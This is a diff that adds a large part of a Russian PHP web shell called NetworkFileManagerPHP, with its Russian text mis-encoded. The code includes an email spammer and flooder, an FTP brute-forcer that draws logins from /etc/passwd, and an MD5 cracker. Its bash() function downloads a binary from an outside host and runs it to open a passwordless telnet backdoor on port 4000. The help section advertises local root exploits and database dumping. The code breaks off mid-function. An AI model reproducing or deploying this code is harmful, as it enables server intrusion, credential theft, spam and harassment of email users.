+×àñòåíüêî ñëó÷àåòñÿ, ÷òî íà ñåðâåðàõ ãäå óñòàíîâëåí NFM íå ðàáîòàåò wget , à ôàéë çàãðóçèòü îé êàê õî÷åòñÿ, òàêèì îáðàçîì ñ ïîìîùüþ ïðîñòûõ ôóíêöèé âû ñìîæåòå çàãðóçèòü ëþáîé ôàéë íà ñâîé õîñòèíã â ïàïêó, ãäå çàëèò NFM ëèáî äðóãóþ êàêóþ âû âûáåðåòå (ñì.Ïóòü ).( ðàáîòàåò íå íà âñåõ õîñòèíãàõ)
+
";
+
+if (!isset($status)) downfiles();
+
+else
+{
+
+$data = @implode("", file($file3));
+$fp = @fopen($file2, "wb");
+@fputs($fp, $data);
+$ok = @fclose($fp);
+if($ok)
+{
+$size = filesize($file2)/1024;
+$sizef = sprintf("%.2f", $size);
+
+print "Âû çàãðóçèëè: ôàéë $file2 ðàçìåðîì (".$sizef."êÁ)
";
+}
+else
+{
+print " ";
+}
+}
+}
+
+# îòïðàâêà ïî÷òû
+function mailsystem() {
+ global $status,$form,$action,$name,$email,$pole,$REMOTE_ADDR,$HTTP_REFERER,$DOCUMENT_ROOT,$PATH_TRANSLATED,$HTTP_HOST;
+
+ echo "
+Âîïðîñû è ïîæåëàíèÿ ïî ñêðèïòó NetworkFileManagerPHP
+
+
+Â ïðîöåññå ðàáîòû ñî ñêðèïòîì NFM ó âàñ ìîãóò âîçíèêíóòü âîïðîñû è íîâûå ïðåäëîæåíèÿ ïî óëó÷øåíèþ èëè äîáàâëåíèþ ôóíêöèé â NFM, âñå âàøè ïðåäëîæåíèÿ áóäóò ðàññìîòðåíû è áóäóò ðåàëèçîâàíû â äàëüíåéøèõ âåðñèÿõ NFM.
+
+
";
+
+ if (!isset($status)) echo "$form";
+ else {
+ $email_to ="duyt@yandex.ru";
+ $subject = "NetworkFileManagerPHP ($name)";
+ $headers = "From: $email";
+
+ $info = "---==== Ñîîáùåíèå îò ($name)====---\n\n";
+ $info .= "Name:\t$name\n";
+ $info .= "Email:\t$email\n";
+ $info .= "What?:\n\t$pole\n\n";
+ $info .= "IP:\t$REMOTE_ADDR\n";
+ $info .= "HOST:\t$HTTP_HOST\n";
+ $info .= "URL:\t$HTTP_REFERER\n";
+ $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n";
+ $send_to = "$email_to";
+
+ $send = mail($send_to, $subject, $info, $headers);
+ if($send == 2) echo "Ñïàñèáî!!!Âàøå ñîîáùåíèå îòïðàâëåíî.
";
+ }
+}
+
+function spam() {
+global $chislo, $status, $from, $otvet, $wait, $subject, $body, $file, $check_box, $domen;
+set_time_limit(0);
+ignore_user_abort(1);
+echo "
+
+Óíèêàëüíûé ñïàìåð
+ Òåïåðü âàì íå íóæíî ïîêóïàòü ñïàìëèñòû, NFM ñàì â ñîñòîÿíèè ñãåíåðèòü ëþáóþ áàçó, âàëèäíîñòü êîòîðîé áóäåò 50-60%
+
";
+
+ echo "
+ ";
+// ñîãëàñíûå
+function s() {
+ $word="qwrtpsdfghklzxcvbnm";
+ return $word[mt_rand(0,strlen($word)-1)];
+}
+// ãëàñíûå
+function g() {
+ $word="eyuioa";
+ return $word[mt_rand(0,strlen($word)-2)];
+}
+// öèôðû
+function c() {
+ $word="1234567890";
+ return $word[mt_rand(0,strlen($word)-3)];
+}
+// ñîãëàñíûå ñ ãëàñíûìè
+function a() {
+ $word=array('wa','sa','da','qa','ra','ta','pa','fa','ga','ha','ja','ka','la','za','xa','ca','va','ba','na','ma');
+ $ab1=count($word);
+ return $wq=$word[mt_rand(0,$ab1-1)];
+}
+
+function o() {
+ $word=array('wo','so','do','qo','ro','to','po','fo','go','ho','jo','ko','lo','zo','xo','co','vo','bo','no','mo');
+ $ab2=count($word);
+ return $wq2=$word[mt_rand(0,$ab2-1)];
+}
+function e() {
+ $word=array('we','se','de','qe','re','te','pe','fe','ge','he','je','ke','le','ze','xe','ce','ve','be','ne','me');
+ $ab3=count($word);
+ return $wq3=$word[mt_rand(0,$ab3-1)];
+}
+
+function i() {
+ $word=array('wi','si','di','qi','ri','ti','pi','fi','gi','hi','ji','ki','li','zi','xi','ci','vi','bi','ni','mi');
+ $ab4=count($word);
+ return $wq4=$word[mt_rand(0,$ab4-1)];
+}
+function u() {
+ $word=array('wu','su','du','qu','ru','tu','pu','fu','gu','hu','ju','ku','lu','zu','xu','cu','vu','bu','nu','mu');
+ $ab5=count($word);
+ return $wq5=$word[mt_rand(0,$ab5-1)];
+}
+
+function name0() { return c().c().c().c(); }
+function name1() { return a().s(); }
+function name2() { return o().s(); }
+function name3() { return e().s(); }
+function name4() { return i().s(); }
+function name5() { return u().s(); }
+function name6() { return a().s().g(); }
+function name7() { return o().s().g(); }
+function name8() { return e().s().g(); }
+function name9() { return i().s().g(); }
+function name10() { return u().s().g(); }
+function name11() { return a().s().g().s(); }
+function name12() { return o().s().g().s(); }
+function name13() { return e().s().g().s(); }
+function name14() { return i().s().g().s(); }
+function name15() { return u().s().g().s(); }
+
+
+$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005);
+$domain1=array('mail.ru','hotmail.com','aol.com','yandex.ru','rambler.ru','bk.ru','pochta.ru','mail333.com','yahoo.com','lycos.com','eartlink.com');
+$d1c=count($domain1);
+
+function randword() {
+ global $cool,$cool2;
+ $func="name".mt_rand(0,15);
+ $func2="name".mt_rand(0,15);
+ switch (mt_rand(0,2)) {
+ case 0: return $func().$func2();
+ case 1: return $func().$cool[mt_rand(0,count($cool)-9)];
+ case 2: return $func();
+ default: return $func();
+ }
+ }
+
+if (@unlink("email.txt") < 0){
+echo "ïóñòî";
+exit;
+}
+$file="email.txt";
+
+
+if($chislo){
+
+
+ $cnt3=mt_rand($chislo,$chislo);
+ for ($i=0; $i<$cnt3; $i++) {
+ $u=randword();
+ if(!isset($check_box)){
+
+ if ( IsSet($_POST["domen"]) && sizeof($_POST["domen"]) > 0 )
+{
+ $domen = $_POST["domen"];
+ foreach( $domen as $k=>$v )
+ {
+ $d=$domen[mt_rand(0,$v-1)];
+
+ }
+}
+$f=@fopen(email.".txt","a+");
+ fputs($f,"$u@$d\n");
+ }else{
+
+ $d=$domain1[mt_rand(0,$d1c-1)];
+ $f=@fopen(email.".txt","a+");
+ fputs($f,"$u@$d\n");
+ }
+
+ }
+ $address = $file;
+ if (@file_exists($address)) {
+ if($changefile = @fopen ($address, "r")) {
+ $success = 1;
+ } else {
+ echo " Íå íàéäåí ôàéë \"".$address."\" ! ";
+ }
+
+ if ($success == 1) {
+ echo "";
+ echo " Ñãåíåðåííî âñåãî $chislo email. ";
+ echo " ";
+ echo "";
+ while($line = @fgets($changefile,1024)) {
+ echo @trim(stripslashes($line))."\n";
+ }
+ echo"
";
+ }
+ }
+if (!isset($action)){
+ echo "
+ ";
+}
+}
+}
+function del() {
+global $PHP_SELF;
+$file_to_delete = basename("$PHP_SELF");
+@chmod("$file_to_delete", 0777);
+if (@unlink("$file_to_delete") < 0){
+echo "ïóñòî";
+exit;
+}
+ echo " ";
+}
+
+function spam1() {
+ global $status, $from, $otvet, $wait, $subject, $body, $filess, $chislo, $action;
+ set_time_limit(0);
+ignore_user_abort(1);
+
+ echo "
+Îòïðàâêà ïèñåì ñ çàäàíûìè îïöèÿìè
+
";
+
+
+ error_reporting(63); if($from=="") { print
+"";exit;}
+ error_reporting(63); if($otvet=="") { print
+"";exit;}
+ error_reporting(63); if($wait=="") { print
+"";exit;}
+ error_reporting(63); if($subject=="") { print
+"";exit;}
+ error_reporting(63); if($body=="") { print
+"";exit;}
+
+ $address = "email.txt";
+ $counter = 0;
+ if (!isset($status)) echo "÷òî-òî íå òàê";
+ else {
+ echo "
+
+ Îòêðûâàåì ôàéë \"".$address."\" ...
+";
+ if (@file_exists($address)) {
+ echo "
+ Ôàéë \"".$address."\" íàéäåí...
+";
+ if($afile = @fopen ($address, "r")) {
+ echo "
+ Ôàéë \"".$address."\" îòêðûò äëÿ ÷òåíèÿ...
+";
+ } else {
+ echo "
+ Ôàéë \"".$address."\" íå ìîãó îòêðûòü äëÿ ÷òåíèÿ...
+";
+ }
+ } else {
+ echo "There is no file \"".$address."\" ! ";
+ $status = "íå ìîãó íàéòè ôàéëà \"".$address."\" ...";
+ }
+ echo "
+ Íà÷èíàåì ÷òåíèå èç ôàéëà \"".$address."\" ...
+
";
+ if (@file_exists($address)) {
+
+ while (!feof($afile)) {
+
+ $line = fgets($afile, 1024);
+ $line = trim($line);
+ $recipient = "";
+ $recipient = $line;
+
+ if ($filess) {
+ $content = fread(fopen($filess,"r"),filesize($filess));
+ $content = chunk_split(base64_encode($content));
+ $name = basename($filess);
+ } else {
+ $content ='';
+ }
+ $boundary = uniqid("NextPart_");
+
+ $header = "From: ".$from."\r\n";
+ $header .= "Reply-To: ".$otvet."\r\n";
+ $header .= "Errors-To: ".$otvet."\r\n";
+ $header .= "X-Mailer: MSOUTLOOK / ".phpversion()."\r\n";
+ $header .= "Content-Transfer-Encoding: 8bits\n";
+ $header .= "Content-Type: text/html; charset=\"windows-1251\"\n\n";
+ $header .= $body;
+ $header .="--$boundary\nContent-type: text/html; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filess \nContent-disposition: inline; filename=$filess \nContent-transfer-encoding: base64\n\n$content\n\n--$boundary--";
+
+
+ $pattern="#^[-!\#$%&\"*+\\./\d=?A-Z^_|'a-z{|}~]+";
+ $pattern.="@";
+ $pattern.="[-!\#$%&\"*+\\/\d=?A-Z^_|'a-z{|}~]+\.";
+ $pattern.="[-!\#$%&\"*+\\./\d=?A-Z^_|'a-z{|}~]+$#";
+
+ if($recipient != "")
+ {
+ if(preg_match($pattern,$recipient))
+ {
+ echo "
+
+ Îòïðàâëÿåì ïèñüìî íà \"".$recipient."\" ...îòïðàâëåíî ";
+
+
+ if(@mail($recipient, stripslashes($subject), stripslashes($header))) {
+ $counter = $counter + 1;
+ echo "[\"".$counter."\"] ".date("H:i:s")."
";
+ } else {
+ echo "Íå êîððåêòíûé email, ñîîáùåíèå íå îòïðàâëåíî !
";
+ }
+ } else {
+ $counter = $counter + 1;
+
+ }
+ } else {
+ echo " ";
+ }
+ $sec = $wait * 1000000;
+ usleep($sec);
+
+ }
+
+ if($otvet != "")
+ {
+
+ if(preg_match($pattern,$otvet))
+ {
+ echo "
+ Îòïðàâëÿåì ïèñüìî íà \"".$otvet."\" äëÿ ïðîâåðêè";
+ $subject = "".$subject;
+
+ if(@mail($otvet, stripslashes($subject), stripslashes($message), stripslashes($header))) {
+ $counter = $counter + 1;
+ echo " îòïðàâëåíî... [\"".$counter."\"] ".date("H:i:s")."
";
+ } else {
+ echo "íå îòïðàâëåíî...
";
+ }
+ } else {
+ echo "óêàçàí íå ïðàâëüíûé email.
";
+ }
+ } else {
+ }
+
+ if(@fclose ($afile)) {
+ echo "
+
+ Ôàéë \"".$address."\" óñïåøíî çàêðûò!
";
+ } else {
+ echo "
+
+ Ôàéë \"".$address."\" íå ìîãó çàêðûòü!
"; }
+ } else {
+ echo "íå ìîãó ïðî÷èòàòü ôàéë \"".$afile."\" ... ";
+ }
+
+ $status2 ="Ñòàòóñ: ".$counter." emailîâ îòîñëàíî.";
+ echo " ";
+ echo "
+ ";
+
+}
+}
+
+# ïîìîùü
+function help() {
+ global $action,$REMOTE_ADDR,$HTTP_REFERER;
+ echo "
+
+Îïèñàíèå ñêðèïòà NetworkFileManagerPHP
+
+
+
+Äàííûé ñêðèïò ïèñàëñÿ âíà÷àëå òîëüêî äëÿ àäìèíèñòðàòèðîâàíèÿ ñâîåãî õîñòèíãà, íî â ïðîöåññå íàïèñàíèÿ
+îí ïîçâîëÿë ñâîáîäíî ïåðåìåùàòüñÿ ïî ïàïêàì õîñòèíãà è ïðîñìàòðèâàòü ðàçëè÷íóþ èíôîðìàöèþ,
+êîòîðàÿ äîñòóïíà òîëüêî root, â ïðîöåññå ýâîëþöèè ñêðèïòà ÿ åãî äîïîëíèë óíèêàëüíûìè ñâîéñòâàìè,
+êîòîðûå äîñòóïíû âñåãî â îäíîì ôàéëèêå, âñå îñòàëüíûå ôàéëû íåîáõîäèìûå äëÿ åãî ðàáîòû ñîçäàþòñÿ â ïàïêå,
+ãäå çàëèò NFM. Òî åñòü äàííûé ñêðèïò ïîëíîñòüþ àâòîíîìåí çà èñêëþ÷åíèåì ýêñïëîéòîâ, êîòîðûå õðàíÿòñÿ íà ìîåì
+ñåðâåðå è äîñòóïíû äëÿ ñêà÷èâàíèÿ, ïîñðåäñòâîì PHP.
+
+NetworkFileManagerPHP - ñêðèïò äëÿ ïîëíîãî àäìèíèñòðàòèðîâàíèÿ ñâîåãî ñàéòà, à òàêæå è õîñòèíãà,
+ãäå ýòîò ñàéò õîñòèòñÿ.
+Â íàïèñàíèè äàííîãî ñêðèïòà áûëè çàäåéñòâîâàíû íåêîòîðûå àâòîðñêèå ðàçðàáîòêè, óâàæàåìûõ ïðîãðàììèñòîâ:
+- èäåÿ èñïîëüçîâàíèÿ àëèàñîâ â öåëÿõ îáëåã÷åíèÿ íàáîðà êîìàíä (Rush)
+- ïðîñòåíüêèé Áðóòôîðñåð, êîòîðûé ïðîâåðÿåò ïàðîëü ïî åãî ëîãèíó (TerraByte)
+- èäåÿ ñ Mysql, ñïàñèáî ïîëüñêèì ïðîãðàììèñòàì
+- îñòàëüíûå èäåè ìîè (xoce)
+- Ñïàñèáî çà òåñòèðîâàíèå ñêðèïòà âñåìó êàíàëó #hack.ru
+
+Âîçìîæíîñòè NetworkFileManagerPHP
+1. Âîçìîæíîñòü ïðîñìàòðèâàòü ôàéëû õîñòèíãà 2-ìÿ ñïîñîáàìè (àêòóàëüíî åñëè îäèí èç íèõ îòêëþ÷åí íà õîñòèíãå, ïðîñìîòð îñóùåñòâëÿåòñÿ ÷åðåç fopen è cmd)
+2. Èñïîëüçîâàíèå àëüÿñîâ, òî åñòü óæå ãîòîâûå êîìàíäû, êîòîðûå ïðîïèñàíû â ðàñêðûâàþùåì ñïèñêå (èíòåðåñíû íîâè÷êàì, êîòîðûå íå çíàþò ëèíóêñà)
+3. Ñêàíèðîâàíèå ñåðâåðà íà îòêðûòûå ïîðòû, ïîêàçûâàåò âñå îòêðûòûå ïîðòû íà ñåðâåðå è èõ ïðåäíàçíà÷åíèå.
+4. Áðóò ñåðâåðà. Âñêðèïò âêëþ÷åí ïðîñòåíüêèé áðóò ñåðâåðà, ïðîâåðêà ïàðîëÿ ïî åãî ëîãèíó.(äàííûå î ïîëüçîâàòåëÿõ áåðóòüñÿ èç ôàéëà /etc/passwd). Âñå ïîäîøåäøèå ïàðîëè çàïèñûâàþòñÿ â ôàéë ñ èìåíåì õîñòèíãà.
+5. Äàìï áàçû mysql. Âîçìîæíîñòü ñäàìïèòü ëþáóþ áàçó Mysql, íàõîäÿùóþñÿ íà ýòîì õîñòèíãå.
+6. Óñòàíîâêà bash shella. Âû ÷åðåç ñêðèïò âû ìîæåòå ïîëó÷èòü ïîëíîöåííûé áàêäîð, êîòîðûé îòêðûâàåò íà 4000 ïîðòó òåëíåò ñîåäèíåíèå. (íåîáõîäèì äëÿ ðóòàíèÿ ñåðâåðà)
+7. Çàùèùåí çàêðèïòîâàííûì ïàðîëåì.
+8. Äîáàâëåíà âîçìîæíîñòü àðõèâàöèè ëþáîé ïàïêè íà õîñòèíãå ñ ïðèñâîåíèåì åé óíèêàëüíîãî èìåíè, êîòîðîå ãåíåðèòñÿ èç 6 ñèìâîëîâ.
+9. Âîçìîæíîñòü ïîñëàòü ñåáå íà ìûëî ëþáîé ôàéë íàõîäÿùèéñÿ íà ñåðâåðå (ìûëî ïðàâèòü â ñàìîì ñêðèïòå íà ñâîå)
+10. Ïðîñìîòð ëîêàëüíî êàðòèíîê (jpg, jpeg,gif,png), âàì òåïåðü íå íóæíû ïàðîëè îò ïîðíî ðåñóðñîâ, âû ìîæåòå âñå ïðîñìîòðåòü ëîêàëüíî!!!
+11. Ïðîñìîòð ëîêàëüíî âèäåî (avi, mpg, mpeg), ÷òîáû íå êà÷àòü âñå ïîäðÿä ñ ïîðíî ðåñóðñîâ, âû ìîæåòå èõ ïðîñìîòðåòü ó ñåáÿ ÷åðåç Windows Media Player!!!
+12. Äîáàâëåíà áàçà ïóáëè÷íûõ ëîêàëüíûõ ýêñïëîéòîâ òàêèõ êàê ptrace, mremap, òàêæå â ñêðèïò âêëþ÷åíû íåêîòîðûå ïîëåçíûå ïðîãðàììêè BNC (ðàçäåë áóäåò ïîñòîÿííî ïîïîëíÿòüñÿ ñ íîâûìè âåðñèÿìè)
+Äîáàâëåíà áàçà ïðèâàòíûõ ýêñïëîéòîâ òîëüêî ëîêàëüíûé ðóò)
+- brk
+- sendmail 8.1.*
+- mremap_pte
+- r00t
+- ku3
+- ex_bru
+- ptrace/kmod
+- mremap2
+13. Ïåðåáîð ïàðîëåé MD5 äî 32 ñèìâîëîâ(òåïåðü âàì íå íóæåí ïåðåáîðùèê John The Riper ëþáîé õîñòèíã, ó êîòîðîãî âêëþ÷åíî PHP ñäåëàåò ýòî çà âàñ, ïðè÷åì âñå àáñîëþòíî ëåãàëüíî, ðàáîòàåò äàæå ïðè îáðûâå ñâÿçè, òî åñòü îäèí ðàç çàïóñòèëè è óøëè ñïàòü, ïðîñíóëèñü à ôàéëèê ñ ðàñøèôðîâàííûì ïàðîëåì óæå â äåðèêòîðèè ãäå çàëèò NFM)
+14. Ïîäáîð ïàðîëåé ê FTP ñ ñîçäàíèåì ëèñòà ñ ïàðîëÿìè íàëåòó ( â ëèñò ïàðîëåé âõîäèò:50 ñàìûõ ïîïóëÿðíûõ ïàðîëåé, îíè ïåðâûìè èäóò â ðàñøèôðîâêó, ïîòîì ïîäñòàíîâêà ê ëîãèíó ÷èñåë, íó à ïîòîì ðàíäîìíûå ïàðîëè êîòîðûå ñîçäàþòñÿ ñ èñïîëüçîâàíèåì ãëàñíûõ è ñîãëàñíûõ áóêâ, ïîëó÷àÿ ÷åëîâåêîïîäîáíûå âûðàæåíèÿ, êîòîðûå ìîãóò èñïîëüçîâàòüñÿ â ïàðîëÿõ)
+15. âêëþ÷åí óíèêàëüíûé ñïàìåð ìûë, ðàáîòàþùèé íà ëþáîì õîñòèíãå, âñå áàçû áóäåò ãåíåðèòü ðàíäîìíî, âàëèäíîñòü òàêèõ áàç áóäåò 40-45% ( èñïîëüçóåòñÿ óíèêàëüíûé àëãîðèòì ñîçäàíèÿ èìåí )
+16. âîçìîæíîñòü çàãðóçèòü ëþáîé ôàéë ñ ëþáîãî õîñòèíãà íå ïðèáåãàÿ ê ôóíêöèè wget ( âñå ðåàëèçîâàíî ñðåäñòâàìè php, òåïåðü ìîæíî êà÷àòü ãèãàáàéòàìè.... ðàáîòàåò íå íà âñåõ õîñòèíãàõ )
+17. Óäàëåíèå on-line
+18. Ñîôò íàêàçàíèÿ - ôëóä email, Easy Flood è Hard Flood.
+Äàííûé ñêðèïò ïðåäóïðåæäàåò àäìèíèñòðàòîðîâ õîñòèíãà, ÷òî ïîðà ëàòàòü äûðû.
+Ýòèì ñêðèïòîì ìû ëèøü õîòåëè ïîêàçàòü, ÷òî ñ àïà÷åì øóòêè ïëîõè.
+Êàê íàñ íàéòè:
+Irc server: irc.megik.net:6667 /join #hack.ru
+Óâèäèìñÿ â ñåòè!!!
+
+
";
+}
+
+function exploits($dir) {
+ global $action,$status, $file3,$file2,$tm,$PHP_SELF,$HTTP_HOST,$style_button, $public_site, $private_site, $private, $public, $title_ex, $title_exp;
+if (!isset($status)) upload_exploits();
+
+else
+{
+
+$data = implode("", file($file3));
+$fp = @fopen($file2, "wb");
+fputs($fp, $data);
+$ok = fclose($fp);
+if($ok)
+{
+$size = filesize($file2)/1024;
+$sizef = sprintf("%.2f", $size);
+print "".exec("chmod 777 $public[1]")."";
+print "".exec("chmod 777 $public[2]")."";
+print "".exec("chmod 777 $public[3]")."";
+print "".exec("chmod 777 $private[1]")."";
+print "".exec("chmod 777 $private[2]")."";
+print "".exec("chmod 777 $private[3]")."";
+print "".exec("chmod 777 $private[4]")."";
+print "".exec("chmod 777 $private[5]")."";
+print "".exec("chmod 777 $private[6]")."";
+print "".exec("chmod 777 $private[7]")."";
+print "".exec("chmod 777 $private[8]")."";
+
+print "Âû çàãðóçèëè: ôàéë ðàçìåðîì (".$sizef."êÁ)
";
+}
+else
+{
+print "×òî-òî íå òàê.";
+}
+}
+}
+
+
+# FTP-áðóò
+function ftp() {
+ global $action, $ftp_server, $filename, $HTTP_HOST;
+ ignore_user_abort(1);
+ echo "FTP-server: $ftp_server ";
+
+ $fpip = @fopen ($filename, "r");
+ if ($fpip) {
+ while (!feof ($fpip)) {
+ $buf = fgets($fpip, 100);
+ ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
+ $conn_id=ftp_connect($ftp_server);
+ if (($conn_id) && (@ftp_login($conn_id, $g[1], $g[1]))) {
+
+ $f=@fopen($HTTP_HOST,"a+");
+ fputs($f,"$g[1]:$g[1]\n");
+ echo "Connected with login:password - ".$g[1].":".$g[1]."
";
+
+ ftp_close($conn_id);
+ fclose($f);
+ } else {
+ echo "".$g[1].":".$g[1]." - failed
";
+ }
+ }
+ }
+}
+
+function tar() {
+ global $action, $filename;
+ set_time_limit(0);
+ echo "
+
+Àðõèâàöèÿ äàííûõ
+ ñâÿçè ñ ðàçëè÷íûìè íàñòðîéêàìè ñåðâåðîâ, ÿ íå ñòàë ïîëíîñòüþ àâòîìàòèçèðîâàòü ñêðèïò ïîä êàæäûé ñåðâåð. Âàì òîëüêî îñòàíåòñÿ ïîäïðàâèòü òî÷íûå ïóòè ê ïàïêå äîìåíà è íàæàòü íà ââîä, âñå äàííûå ðàñïîëîæåííûå â âûáðàííîé ïàïêå çààðõèâèðóþòñÿ â àðõèâ tar.gz.
+Âíèìàíèå!!! Òàê êàê ôàéë passwd ìîæåò áûòü áîëüøèì, òî îòêðûòèå âñåõ ïîëüçîâàòåëåé äàííîãî õîñòèíãà ïîòðåáóåò îïðåäåëåííîãî âðåìåíè.
+Ðåêîìåíäóåòñÿ!!! Îòêðûòü äàííóþ îïöèþ â îòäåëüíîì îêíå, ÷òîáû ïðè ïðîñìîòðå õîñòèíãà îáðàùàòüñÿ ê íåé è àðõèâèðîâàòü èíôîðìàöèþ êîòîðàÿ âàñ çàèíòåðåñóåò.
+
";
+
+$http_public="/public_html/";
+$fpip = @fopen ($filename, "r");
+if ($fpip) {
+ while (!feof ($fpip)) {
+ $buf = fgets($fpip, 100);
+ ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
+ $name=$g[1];
+ echo "
+";
+ }
+ }
+}
+
+
+
+# Óñòàíîâêà øåëà
+function bash() {
+ global $action, $port_bind, $pass_key;
+
+echo "
+
+Óñòàíîâêà øåëà
+ Äàííûé øåë óñòàíàâëèâàåòñÿ íà 4000 ïîðò, äîñòóï áåç ïàðîëÿ ïî òåëíåò ñîåäèíåíèþ
+
";
+
+echo "
+
+ Äàííûå ïî øåëó çàïèñàíû â ôàéë s ";
+
+echo " ".exec("wget http://vzlomanet.x25.net.ru/adm/exploits/bash/s")." Cêà÷èâàåì... ";
+echo " ".exec("chmod 777 s")." Óñòàíàâëèâàåì ïðàâà... ";
+echo " ".exec("./s")." Çàïóñêàåì...íà 4000 ïîðò ";
+# echo " ".exec("rm s")." Óäàëÿåì s ... ";
+echo"
";
+
+ }
+
+ function flud() {
+ global $action, $check_box, $status, $emailflood, $kol, $wait, $sizeletter, $subject, $body;
+set_time_limit(0);
+ignore_user_abort(1);
+
+echo "
+
+Ôëóäåð Email
+Òàê óæ ïîëó÷èëîñü, ÷òî ðàáîòàÿ â èíòåðíåòå, ìû ÷àñòåíüêî íàðûâàåìñÿ íà ìîøåííèêîâ èëè íàñ ïîäñòàâëÿþò.
+Íî åñëè ìû èìååì ìûëî îáèä÷èêà, òî ìû ìîæåì åìó ïîäãîâíèòü æèòèå. Äëÿ ýòèõ öåëåé è ïèñàëàñü äàííàÿ îïöèÿ. Ñ ïîìîùüþ ýòîé îïöèè âû ñìîæåòå çàôëóäèòü íåãîäÿÿ!!!
+
+
";
+echo "
+ ";
+
+if ($check_box == "1"){
+ echo "
+ ";
+
+
+}
+
+
+ if ($status == "easy"){
+ error_reporting(63); if($emailflood=="") { print
+"";exit;}
+ error_reporting(63); if($kol=="") { print
+"";exit;}
+ error_reporting(63); if($wait=="") { print
+"";exit;}
+ error_reporting(63); if($sizeletter=="") { print
+"";exit;}
+ error_reporting(63); if($subject=="") { print
+"";exit;}
+ error_reporting(63); if($body=="") { print
+"";exit;}
+
+
+$text=strlen($body)+1;
+$sizeletter_kb=(1024/$text)*$sizeletter;
+$sizeletter_kb=ceil($sizeletter_kb);
+
+for ($i=1; $i<=$sizeletter_kb; $i++) {
+$msg=$msg.$body." ";
+}
+
+
+for ($i=1; $i<=$kol; $i++){
+ if($emailflood != "") {
+
+@mail($emailflood, $body, $msg, "From: $subject");
+ $sec = $wait * 1000000;
+ usleep($sec);
+ }
+
+}
+
+}
+
+
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+function crypte() {
+ global $action,$md5a,$sha1a,$crc32, $key,$string;
+echo "
+
+Êðèïòîâàíèå äàííûõ
+Íà äàííûé ìîìåíò â èíòåðíåòå ñóùåñòâóåò îãîðîìíîå êîëëè÷åñòâî ïðîãðàìì è ñêðèïòîâ, êîòîðûå èñïîëüçóþò ðàçëè÷íûå ìåòîäû øèôðîâàíèÿ ïàðîëåé,
+ñ ïîìîùüþ NFM âû ìîæåòå ïîëó÷èòü äîñòóï ê èçìåíåíèþ ýòèõ äàííûõ, íî áûâàåò íóæíûì èçìåíèòü äàííûå íà ñâîè, äëÿ ýòîãî ÿ âûáðàë ñàìûå ïîïóëÿðíûå ìåòîäû øèôðîâàíèÿ.
+
";
+
+echo "
+ ";
+ echo "
+ ";
+echo "
+ ";
+
+ }
+
+function decrypte() {
+ global $action,$pass_de,$chars_de,$dat,$date;
+set_time_limit(0);
+ignore_user_abort(1);
+
+echo "
+
+Äåêîäèðîâàíèå äàííûõ
+Âñåì èçâåñòíî, ÷òî md5 íåëüçÿ ìãíîâåííî äåêîäèðîâàòü, òàê êàê èñïîëüçóåòñÿ îäíîíàïðàâëåííîå øèôðîâàíèå (àëãîðèòì õýøèðîâàíèÿ),
+ ñîçäàþùåå óíèêàëüíûé îòïå÷àòîê èñõîäíûé ñòðîêè, à èìåííî 128-áèòîâûé (md5).  íàñòîÿùåå âðåìÿ ñ÷èòàåòñÿ íåâîçìîæíûì ïî ýòîìó îòïå÷àòêó
+ âîñòàíîâèòü èñõîäíûå äàííûå, îáðàòèâ ïðîöåäóðó, ÿ æå ïîïðîáóþ ïðèìåíèòü ìåòîä «ãðóáîé ñèëû», à èìåííî ïîëíûé ïåðåáîð äî ñîâïàäåíèÿ âõîäíûõ è âûõîäíûõ äàííûõ.
+
";
+
+if($chars_de==""){$chars_de="";}
+ echo "
+ ";
+
+
+if($_POST[pass_de]){
+$pass_de=htmlspecialchars($pass_de);
+$pass_de=stripslashes($pass_de);
+$dat=date("H:i:s");
+$date=date("d:m:Y");
+
+crack_md5();
+}
+}
+
+function crack_md5() {
+global $chars_de;
+$chars=$_POST[chars];
+set_time_limit(0);
+ignore_user_abort(1);
+$chars_de=str_replace("<",chr(60),$chars_de);
+$chars_de=str_replace(">",chr(62),$chars_de);
+$c=strlen($chars_de);
+for ($next = 0; $next <= 31; $next++) {
+for ($i1 = 0; $i1 <= $c; $i1++) {
+$word[1] = $chars_de{$i1};
+for ($i2 = 0; $i2 <= $c; $i2++) {
+$word[2] = $chars_de{$i2};
+if ($next <= 2) {
+result(implode($word));
+}else {
+for ($i3 = 0; $i3 <= $c; $i3++) {
+$word[3] = $chars_de{$i3};
+if ($next <= 3) {
+result(implode($word));
+}else {
+for ($i4 = 0; $i4 <= $c; $i4++) {
+$word[4] = $chars_de{$i4};
+if ($next <= 4) {
+result(implode($word));
+}else {
+for ($i5 = 0; $i5 <= $c; $i5++) {
+$word[5] = $chars_de{$i5};
+if ($next <= 5) {
+result(implode($word));
+}else {
+for ($i6 = 0; $i6 <= $c; $i6++) {
+$word[6] = $chars_de{$i6};
+if ($next <= 6) {
+result(implode($word));
+}else {
+for ($i7 = 0; $i7 <= $c; $i7++) {
+$word[7] = $chars_de{$i7};
+if ($next <= 7) {
+result(implode($word));
+}else {
+for ($i8 = 0; $i8 <= $c; $i8++) {
+$word[8] = $chars_de{$i8};
+if ($next <= 8) {
+result(implode($word));
+}else {
+for ($i9 = 0; $i9 <= $c; $i9++) {
+$word[9] = $chars_de{$i9};
+if ($next <= 9) {
+result(implode($word));
+}else {
+for ($i10 = 0; $i10 <= $c; $i10++) {
+$word[10] = $chars_de{$i10};
+if ($next <= 10) {
+result(implode($word));
+}else {
+for ($i11 = 0; $i11 <= $c; $i11++) {
+$word[11] = $chars_de{$i11};
+if ($next <= 11) {
+result(implode($word));
+}else {
+for ($i12 = 0; $i12 <= $c; $i12++) {
+$word[12] = $chars_de{$i12};
+if ($next <= 12) {
+result(implode($word));
+}else {
+for ($i13 = 0; $i13 <= $c; $i13++) {
+$word[13] = $chars_de{$i13};
+if ($next <= 13) {
+result(implode($word));
+}else {
+for ($i14 = 0; $i14 <= $c; $i14++) {
+$word[14] = $chars_de{$i14};
+if ($next <= 14) {
+result(implode($word));
+}else {
+for ($i15 = 0; $i15 <= $c; $i15++) {
+$word[15] = $chars_de{$i15};
+if ($next <= 15) {
+result(implode($word));
+}else {
